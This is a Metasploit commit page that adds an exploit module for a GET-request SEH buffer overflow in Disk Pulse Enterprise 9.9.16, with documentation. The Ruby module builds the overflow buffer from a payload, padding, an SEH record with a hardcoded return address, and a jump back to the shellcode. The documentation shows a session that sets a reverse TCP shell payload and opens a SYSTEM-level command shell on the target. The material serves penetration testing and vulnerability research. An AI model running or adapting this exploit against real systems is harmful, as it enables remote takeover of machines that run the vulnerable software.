Skip to content

Commit d536233

Browse files
committed
Land rapid7#8958, Add Disk Pulse Enterprise web server buffer overflow
2 parents b2f5bd1 + e3deaad commit d536233

File tree

2 files changed

+147
-0
lines changed

2 files changed

+147
-0
lines changed
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
## Vulnerable Application
2+
3+
Tested on Windows 7 x64 and x86.
4+
5+
Install the application from the link below and enable the web server by going to Options -> Server -> Enable Web Server on Port.
6+
7+
[Disk Pulse Enterprise v 9.9.16](https://www.exploit-db.com/apps/45ce22525c87c0762f6e467db6ddfcbc-diskpulseent_setup_v9.9.16.exe)
8+
9+
## Verification Steps
10+
11+
1. Install the application and set the option above to enable the web server
12+
2. Start msfconsole
13+
3. Do: ```use exploit/windows/http/disk_pulse_enterprise_get```
14+
5. Set options and payload
15+
6. Do: ```run```
16+
7. You should get a shell.
17+
18+
## Options
19+
20+
**RHOST**
21+
22+
IP address of the remote host running the server.
23+
24+
**RPORT**
25+
26+
Port that the web server is running on. Default is 80 but it can be changed when setting up the program or in the options.
27+
28+
## Scenarios
29+
30+
To obtain a shell:
31+
32+
```
33+
msf > use exploit/windows/http/disk_pulse_enterprise_get
34+
msf exploit(disk_pulse_enterprise_get) > set payload windows/shell_reverse_tcp
35+
payload => windows/shell_reverse_tcp
36+
msf exploit(disk_pulse_enterprise_get) > set RHOST x.x.x.x
37+
RHOST => x.x.x.x
38+
msf exploit(disk_pulse_enterprise_get) > set LHOST y.y.y.y
39+
LHOST => y.y.y.y
40+
msf exploit(disk_pulse_enterprise_get) > set LPORT 1234
41+
LPORT => 1234
42+
msf exploit(disk_pulse_enterprise_get) > set RPORT 8080
43+
RPORT => 8080
44+
msf exploit(disk_pulse_enterprise_get) > exploit
45+
46+
[*] Started reverse TCP handler on y.y.y.y:1234
47+
[*] Generating exploit...
48+
[*] Sending exploit...
49+
[*] Command shell session 1 opened (y.y.y.y:1234 -> x.x.x.x:64567) at 2017-09-14 10:52:06 -0500
50+
51+
Microsoft Windows [Version 6.1.7600]
52+
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
53+
54+
C:\Windows\system32>
55+
```
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::Remote::Seh
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Disk Pulse Enterprise GET Buffer Overflow',
15+
'Description' => %q(
16+
This module exploits an SEH buffer overflow in Disk Pulse Enterprise
17+
9.9.16. If a malicious user sends a crafted HTTP GET request
18+
it is possible to execute a payload that would run under the Windows
19+
NT AUTHORITY\SYSTEM account.
20+
),
21+
'License' => MSF_LICENSE,
22+
'Author' =>
23+
[
24+
'Chance Johnson', # msf module - [email protected]
25+
'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com
26+
],
27+
'References' =>
28+
[
29+
[ 'EDB', '42560' ]
30+
],
31+
'DefaultOptions' =>
32+
{
33+
'EXITFUNC' => 'thread'
34+
},
35+
'Platform' => 'win',
36+
'Payload' =>
37+
{
38+
'EncoderType' => "alpha_mixed",
39+
'BadChars' => "\x00\x0a\x0d\x26"
40+
},
41+
'Targets' =>
42+
[
43+
[ 'Disk Pulse Enterprise 9.9.16',
44+
{
45+
'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll
46+
'Offset' => 2492
47+
}]
48+
],
49+
'Privileged' => true,
50+
'DisclosureDate' => 'Aug 25 2017',
51+
'DefaultTarget' => 0))
52+
53+
register_options([Opt::RPORT(80)])
54+
end
55+
56+
def check
57+
res = send_request_cgi(
58+
'uri' => '/',
59+
'method' => 'GET'
60+
)
61+
62+
if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/
63+
return Exploit::CheckCode::Appears
64+
end
65+
66+
return Exploit::CheckCode::Safe
67+
end
68+
69+
def exploit
70+
connect
71+
72+
print_status("Generating exploit...")
73+
exp = payload.encoded
74+
exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset
75+
exp << generate_seh_record(target.ret)
76+
exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode
77+
exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start
78+
exp << 'B' * (5000 - exp.length) # padding
79+
80+
print_status("Sending exploit...")
81+
82+
send_request_cgi(
83+
'uri' => '/../' + exp,
84+
'method' => 'GET',
85+
'host' => '4.2.2.2',
86+
'connection' => 'keep-alive'
87+
)
88+
89+
handler
90+
disconnect
91+
end
92+
end

0 commit comments

Comments
 (0)